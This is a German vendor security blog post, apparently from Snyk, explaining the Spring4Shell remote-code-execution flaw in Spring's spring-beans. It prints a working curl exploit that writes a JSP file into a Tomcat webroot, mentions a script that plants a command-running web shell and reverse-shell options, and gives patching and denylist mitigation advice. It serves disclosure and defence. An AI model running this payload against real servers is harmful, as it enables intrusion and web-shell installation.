Skip to main content

Spring4Shell: Die Zero-Day-RCE im Spring Framework erklärt

Artikel von
blog feature code vulnerability warning

1. April 2022

0 Min. Lesezeit

Am 30. März 2022 wurde eine kritische Sicherheitslücke zur Remotecodeausführung (RCE) im Spring Framework entdeckt. Genauer gesagt ist sie Teil des Pakets spring-beans, einer transitiven Abhängigkeit sowohl in spring-webmvc als auch in spring-webflux. Diese Schwachstelle ist ein weiteres Beispiel dafür, warum die Absicherung der Software-Lieferkette für Open Source wichtig ist.

Sicherheitsressourcen wie Lunasec, Rapid7 und Praetorian bestätigten, dass die Schwachstelle real ist. Inzwischen hat Spring bereits eine neue Version veröffentlicht, die das Problem entschärft. Daher empfehlen wir ein Update. Spring4Shell scheint zwar nicht dieselben Auswirkungen wie die kürzlich entdeckte Log4Shell-Schwachstelle zu haben, sollte aber von jeder Organisation, die das Spring Framework verwendet, geprüft und priorisiert werden. In diesem Beitrag erfahren Sie, wie die RCE funktioniert.

Spring4Shell erklärt

Wenn wir einen Controller mit einem im Speicher geladenen Request-Mapping haben, sind wir bereits für dieses Problem anfällig. Unten sehen Sie unseren GreetingController mit einem PostMapping auf /greeting. Wenn wir unsere Anwendung beispielsweise in Tomcat unter http://mydomain/myapp/greeting aufrufen, versucht sie, die Eingabe in ein POJO (Plain Old Java Object) umzuwandeln – in unserem Fall in das Objekt Greeting.

@Controller
public class GreetingController {

  @PostMapping("/greeting")
  public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
     model.addAttribute("greeting", greeting);
     return "result";
  }

}

Da Spring im Hintergrund jedoch Serialisierung verwendet, um diese Werte dem Java-Objekt zuzuordnen, lassen sich auch andere Werte festlegen. Nach einigen Tests zeigt sich, dass sich Eigenschaften einer Klasse setzen lassen. Das ist besonders interessant, wenn Sie Tomcat verwenden.

Um das in der Praxis zu zeigen, können wir mit folgendem curl-Befehl über bestimmte Logging-Eigenschaften der Klasse eine Datei rce.jsp erstellen.

curl -X POST \
 -H "pre:<%" \
 -H "post:;%>" \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}i out.println("HACKED" + (2 + 5))%{post}i' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/myapp' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
 http://mydomain/myapp/greeting

Alles, was im Pattern festgelegt wird, landet als Inhalt in der Datei. Mit einigen raffinierten Escape-Sequenzen und dem Einsatz von Headern konnte unser Team auf dem Tomcat-Server eine JSP-Datei mit dem einfachen Inhalt <% out.println(“HACKED”); %> erstellen. Diese Datei war nun unter /myapp/rce.jsp verfügbar.

Webbrowser mit einer localhost-Seite und der großen Überschrift „HACKED“.

Der vollständige POC von Kirill Efimov und Aviad Hahami aus dem Snyk-Sicherheitsforschungsteam ist auf GitHub verfügbar.

Wenn wir ein einfaches out.println ausführen können, können wir auch JSP-Dateien mit Terminalbefehlen erstellen, die über Runtime.exec() einen Reverse-Shell-Zugriff einrichten. Alternativ können wir mit den JSP-Funktionen eine ansprechende Web-Shell-Oberfläche erstellen.

Ein ähnlicher Exploit, der in vielen anderen Blogs erwähnt wird, erstellt eine JSP-Datei, mit der sich Befehle ausführen lassen. Dieses Python-Skript erstellt für Sie die passende Anfrage mit den erforderlichen Headern. Nachdem wir das Skript in unserer Demoanwendung ausgeführt haben, können wir den Befehl whoami wie folgt ausführen: [http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=whoami](http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=whoami).

Browser mit einer localhost-URL und cmd=whoami; auf der Seite ist Java-Code zu sehen, der den Befehl ausführt und „root“ zurückgibt.

Wer ist betroffen?

Da sich die Lage derzeit schnell entwickelt, können wir nur sagen, was wir zum jetzigen Zeitpunkt wissen.

Bei betroffenen Versionen von spring-beans scheint diese Schwachstelle nur dann ausnutzbar zu sein, wenn Sie JDK 9 oder höher verwenden. Die Einführung von JDK 9 umging weitgehend ein älteres Problem: CVE-2010-1622.

Da viele Java-Entwickler bereits von Java 8 auf neuere Versionen umgestiegen sind und das Spring Framework so weit verbreitet ist, gehen wir davon aus, dass viele Java-Anwendungen von diesem Problem betroffen sein könnten.

Es gibt mehrere Möglichkeiten, dieses Problem zu beheben. Die Spring-Maintainer haben eine neue Version des Frameworks veröffentlicht. Am besten aktualisieren Sie daher auf Version 5.3.18 oder 5.2.20 des Spring Frameworks. Laut unserem Sicherheitsteam genügt es, das Paket `spring-bean` auf die neueste Version zu aktualisieren. Ein Update des gesamten Frameworks ist jedoch sinnvoller. Wenn Sie Spring Boot verwenden, enthält Version 2.6.6 oder 2.5.12 das aktualisierte Spring Framework.

Wenn Sie nicht auf eine neuere Spring-Version aktualisieren können, ist es möglicherweise sinnvoll, Ihre Java-Version auf Java 8 zurückzustufen.

Eine weitere Möglichkeit ist, wie unten gezeigt ein InitBinder im Controller oder als separates ControllerAdvice zu erstellen.

@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {

  @InitBinder
  public void setAllowedFields(WebDataBinder dataBinder) {
    String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
    dataBinder.setDisallowedFields(denylist);
  }
}

Beachten Sie jedoch, dass dies keine endgültige Lösung ist. Eine Blockliste wie diese gilt nicht als gute Sicherheitspraxis, kann Ihnen aber etwas Zeit verschaffen. Die Maintainer des Spring Frameworks schlagen vor, ein RequestMappingHandlerAdapter zu erstellen, um den WebDataBinder nach Abschluss aller anderen Initialisierungen zu aktualisieren. Mehr dazu erfahren Sie im Blogbeitrag.

Abhängigkeit von Frameworks und Bibliotheken

Spring4Shell zeigt einmal mehr, wie stark wir von Open-Source-Frameworks und -Bibliotheken abhängig sind. Tritt jedoch eine Sicherheitslücke wie diese oder die kürzlich entdeckte RCE Log4Shell auf, sollten Sie davon wissen, damit Sie sie sofort entschärfen können.

Snyk hilft Ihnen, den Überblick zu behalten, indem Ihre Anwendungen regelmäßig gescannt werden. Snyk benachrichtigt Sie und Ihr Team, wenn neue Schwachstellen erkannt werden, und empfiehlt die nächsten Schritte, damit Ihre Anwendungen sicher bleiben.

Abschließend sei gesagt: Zero-Days wie diese erinnern uns daran, wie wichtig es ist, Bibliotheken stets auf dem neuesten Stand zu halten. Wenn Sie aktuelle Versionen verwenden, können Sie Updates leichter einspielen, die Anwendungen neu erstellen und schnell erneut veröffentlichen.

Starten Sie mit Capture-the-Flag

Erfahren Sie in unserem virtuellen On-Demand-Workshop für Einsteiger, wie Sie Capture-the-Flag-Challenges lösen.

Weiterlesen

blog feature snyk container custom base recommendations
Blog

Evo Agentic AppSec: Sicherheit, die mit der KI-Entwicklung Schritt hält

KI-gestützte Entwicklung überholt herkömmliche Security-Workflows. Snyk Agentic AppSec setzt Security-Agenten ein, die Schwachstellen kontinuierlich finden, beheben und überprüfen – während Menschen die Maßstäbe festlegen.

blog feature ai violet
Blog

VulnBump: Können KI-Agenten anfällige Abhängigkeiten beheben, ohne den Build zu beschädigen?

VulnBump testet KI-Agenten anhand von 307 realen Dependency-Upgrades. Eine Lösung zählt nur, wenn die Sicherheitslücke behoben ist und Build sowie Tests weiterhin erfolgreich sind.

Blog

Frontier-Modelle fanden die Schwachstellen. Nur der Angreifer fand die Angriffsketten.

Die statische Analyse fand die Schwachstellen, doch erst Live-Angriffstests bewiesen, wie sie sich zu Angriffen verketten lassen. Ein Vergleich von Evo COS, Claude Security und Claude Code Security.